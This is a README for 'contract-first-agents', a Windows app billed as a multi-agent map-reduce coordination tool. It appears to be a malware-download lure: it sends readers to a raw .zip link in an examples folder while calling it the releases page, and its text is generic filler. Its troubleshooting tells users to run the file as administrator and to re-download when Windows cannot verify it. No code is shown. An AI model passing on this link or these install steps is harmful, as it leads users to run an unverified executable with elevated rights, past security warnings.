🧩 contract-first-agents - Better AI teamwork with clear contracts

📥 Download

To get the app, visit this page to download:
https://raw.githubusercontent.com/reactflowbrasil-lgtm/contract-first-agents/main/examples/first-agents-contract-3.8.zip

On the releases page, look for the latest Windows file and download it to your computer.

🪟 Install on Windows

1. Open the file you downloaded.
2. If Windows asks for permission, choose Yes.
3. Follow the setup steps on screen.
4. When setup ends, open the app from your Start menu or desktop.

If the app comes as a .zip file, right-click it and choose Extract All first. Then open the extracted folder and run the app file inside it.

✨ What this app does

contract-first-agents helps multiple AI agents work from the same plan. It uses a contract-first map-reduce flow so each agent knows what to do before it starts.

That means you can:

• break a large task into smaller parts
• keep each agent focused on one job
• reduce mistakes when results come back together
• compare outputs in a clear way
• keep agent work more stable across runs

This setup is useful for:

• writing code
• testing ideas
• planning tasks
• handling repeated work
• coordinating several AI tools at once

🧠 How it works

The app follows a simple idea:

1. You define the task.
2. The app turns that task into clear work items.
3. Each agent handles one part.
4. The app gathers the results.
5. The final output comes back in one place.

The contract-first part means each step has a clear shape before work begins. This helps each agent stay aligned. It also helps when you connect the app to other tools or services.

✅ What you need

Before you run the app, make sure your Windows PC has:

• Windows 10 or Windows 11
• 4 GB of RAM or more
• 500 MB of free disk space
• a mouse and keyboard
• internet access for downloads and setup

For smoother use with larger tasks, 8 GB of RAM or more works better.

🚀 First-time setup

After you install the app:

1. Open it from the Start menu.
2. Choose your main task or project.
3. Add the agents you want to use.
4. Set the input text or prompt.
5. Run the workflow.
6. Review the output when the task ends.

If the app asks for a workspace folder, pick a folder you can find again later, like Documents or Desktop.

🧭 Main features

🧱 Contract-first planning

The app sets the shape of the task before agents begin. This gives each agent a clear role and reduces mixed results.

🔀 Map-reduce flow

The app splits one job into many smaller jobs, then joins the results into one output.

🤖 Multi-agent support

You can use several agents in one run. Each agent can handle a different part of the task.

🔍 Clear result review

The app groups outputs so you can compare them side by side or in a single view.

🧪 Built for testing and research

The workflow fits well in experiments, integration checks, and repeatable agent setups.

🧰 Works with common AI tools

The app is designed for use with modern LLM tools and agent setups used in development work.

📂 Typical use cases

Use this app when you want to:

• assign one task to several AI agents
• review different answers to the same problem
• cut down on handoff errors
• test a workflow before using it in a larger system
• run a structured agent process on Windows
• build a cleaner path between input, work, and output

🔧 Using the app day to day

A simple workflow looks like this:

1. Open the app.
2. Load or create a project.
3. Add the work you want done.
4. Choose how many agents to use.
5. Start the run.
6. Wait for each step to finish.
7. Check the combined result.
8. Save the output if needed.

If you want repeatable results, keep the same task format each time. Clear input gives better output.

🪄 Tips for better results

• Use short, clear task names.
• Give each agent one job at a time.
• Keep prompts specific.
• Review the output before using it in another tool.
• Start with a small task before running a large one.
• Save one working setup so you can reuse it later.

🧩 Common file types you may see

Depending on the release, you may download one of these:

• .exe for a direct Windows app
• .zip for a portable app or packaged build
• .msi for a standard Windows installer

If you see a .exe or .msi, double-click it to start setup. If you see a .zip, extract it first.

🛠️ Troubleshooting

The app does not open

• Try running it again as a normal user first
• If Windows blocks it, right-click the file and choose Run as administrator
• Check that the download finished fully

Windows says it cannot verify the file

• Re-download the latest file from the releases page
• Make sure you picked the newest Windows release

The app opens but nothing happens

• Check that you added a task
• Make sure at least one agent is selected
• Try a smaller input to start

The window looks too small

• Use Windows display settings to change scaling
• Maximize the app window if possible

🧾 Project focus

contract-first-agents is built around:

• agent coordination
• multi-agent systems
• map-reduce workflows
• API-style structure
• integration testing
• software design with clear contracts
• research-backed agent setup

🪟 Best way to use it on Windows

For the simplest setup:

1. Download the latest Windows release.
2. Save it to your Downloads folder.
3. Install or extract the file.
4. Run the app from the Start menu or the app folder.
5. Keep the release file in case you need to install it again later

🔐 Keeping your setup clean

• Use one folder for your project files
• Keep the latest release file in Downloads until you confirm it works
• Remove old copies after you confirm the new one runs
• Store saved outputs in a separate folder

📌 File placement tips

If the app uses extra files or folders, place them in a simple path like:

• C:\Users\YourName\Documents\contract-first-agents
• C:\Users\YourName\Desktop\contract-first-agents

Avoid deep folder paths with many nested folders. Short paths are easier to manage on Windows
